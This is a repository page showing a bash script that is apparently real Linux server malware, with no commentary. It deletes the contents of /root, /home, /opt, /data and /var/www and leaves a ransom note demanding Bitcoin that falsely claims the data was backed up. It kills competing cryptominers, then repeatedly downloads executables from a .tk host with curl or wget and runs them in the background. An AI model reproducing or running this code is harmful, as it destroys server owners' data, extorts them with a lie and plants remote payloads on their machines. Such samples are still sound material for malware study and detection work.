-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathlowerv2.sh.1
197 lines (191 loc) · 6.26 KB
/
lowerv2.sh.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
#ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
#do
#pkill -f $procid
#done
rm -rf /root/*
rm -rf /home/*
rm -rf /opt/*
rm -rf /data/*
rm -rf /data*
rm -rf /var/www/*
mkdir -p /data
echo -e "\nWarning! \nYour File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.3 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! \nMail:[email protected] \nBitCoin:1NrZsNppQqXNiYnu34MPo6K2sHYyMPjR4h\n" > /root/Warning.txt
chmod +x /root/Warning.txt
cp /root/Warning.txt /Warning.txt
cp /root/Warning.txt /data/Warning.txt
cp /root/Warning.txt /home/Warning.txt
echo -e "\nWarning! \nYour File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.3 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! \nMail:[email protected] \nBitCoin:1NrZsNppQqXNiYnu34MPo6K2sHYyMPjR4h\n" > /tmp/Warning.txt
chmod +x /tmp/Warning.txt
cp /tmp/Warning.txt /Warning.txt
cp /tmp/Warning.txt /data/Warning.txt
cp /tmp/Warning.txt /home/Warning.txt
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f AnXqV.yam
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
PORT_NUMBER=3333
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
}
function downloadyam() {
if [ ! -f "/tmp/config.json" ]; then
curl http://3g2upl4pq6kufc4m.tk/config.json -o /tmp/config.json && chmod +x /tmp/config.json
if [ ! -f "/tmp/config.json" ]; then
wget http://3g2upl4pq6kufc4m.tk/config.json -P /tmp && chmod +x /tmp/config.json
rm -rf config.json.*
fi
fi
if [ ! -f "/tmp/bashf" ]; then
curl http://3g2upl4pq6kufc4m.tk/bashf -o /tmp/bashf && chmod +x /tmp/bashf
if [ ! -f "/tmp/bashf" ]; then
wget http://3g2upl4pq6kufc4m.tk/bashf -P /tmp && chmod +x /tmp/bashf
rm -rf bashf.*
fi
nohup /tmp/bashf -p bashf>/dev/null 2>&1 &
else
p=$(ps aux | grep bashf | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
echo "bashf"
elif [ ${p} -eq 0 ];then
#nohup /tmp/bashf -p $(hostname)>/dev/null 2>&1 &
nohup /tmp/bashf -p bashf>/dev/null 2>&1 &
else
echo ""
fi
fi
sleep 15
p=$(ps aux | grep bashf | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
echo "bashf"
elif [ ${p} -eq 0 ];then
if [ ! -f "/tmp/pools.txt" ]; then
curl http://3g2upl4pq6kufc4m.tk/pools.txt -o /tmp/pools.txt && chmod +x /tmp/pools.txt
if [ ! -f "/tmp/pools.txt" ]; then
wget http://3g2upl4pq6kufc4m.tk/pools.txt -P /tmp && chmod +x /tmp/pools.txt
rm -rf pools.txt.*
fi
fi
if [ ! -f "/tmp/bashg" ]; then
curl http://3g2upl4pq6kufc4m.tk/bashg -o /tmp/bashg && chmod +x /tmp/bashg
if [ ! -f "/tmp/bashg" ]; then
wget http://3g2upl4pq6kufc4m.tk/bashg -P /tmp && chmod +x /tmp/bashg
rm -rf bashg.*
fi
nohup /tmp/bashg -C /tmp/pools.txt>/dev/null 2>&1 &
else
p=$(ps aux | grep bashg | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
echo "bashg"
elif [ ${p} -eq 0 ];then
nohup /tmp/bashg -C /tmp/pools.txt>/dev/null 2>&1 &
else
echo ""
fi
fi
else
echo ""
fi
sleep 15
if [ ! -f "/tmp/zlibxw" ]; then
curl http://3g2upl4pq6kufc4m.tk/zlibxw -o /tmp/zlibxw && chmod +x /tmp/zlibxw
if [ ! -f "/tmp/zlibxw" ]; then
wget http://3g2upl4pq6kufc4m.tk/zlibxw -P /tmp && chmod +x /tmp/zlibxw
rm -rf zlibxw.*
fi
nohup /tmp/zlibxw >/dev/null 2>&1 &
else
p=$(ps aux | grep zlibxw | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
echo "zlibxw"
elif [ ${p} -eq 0 ];then
nohup /tmp/zlibxw >/dev/null 2>&1 &
else
echo ""
fi
fi
}
cd /tmp/
while [ 1 ]
do
kills
downloadyam
sleep 600
done